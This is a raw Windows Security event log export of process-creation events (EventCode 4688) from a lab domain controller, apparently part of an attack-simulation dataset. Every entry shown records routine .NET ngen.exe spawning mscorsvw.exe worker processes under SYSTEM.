C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 4d0 -Pipe 538 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254657 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa24 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 438 -Pipe 2a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254656 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x450 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 588 -InterruptEvent 0 -NGENProcess 598 -Pipe 6ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254661 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 438 -Pipe 290 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254660 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1018 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6a8 -InterruptEvent 0 -NGENProcess 514 -Pipe 26c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254659 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5d4 -InterruptEvent 0 -NGENProcess 438 -Pipe 588 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:29 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254658 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb1c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 598 -Pipe 2dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254664 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x240 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 418 -Pipe 564 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254663 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x101c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 500 -Pipe 5f4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254662 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 504 -InterruptEvent 0 -NGENProcess 418 -Pipe 4d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254665 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 500 -Pipe 504 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:34 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254666 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1254 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 500 -Pipe 418 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254671 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 780 -Pipe 5d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254670 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe40 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 77c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254669 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 4fc -Pipe 714 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254668 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 500 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 2ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:35 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254667 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 598 -InterruptEvent 0 -NGENProcess 714 -Pipe 260 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254675 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 4fc -Pipe 780 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:05:36 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254674 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 360 -InterruptEvent 0 -NGENProcess 664 -Pipe 238 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited 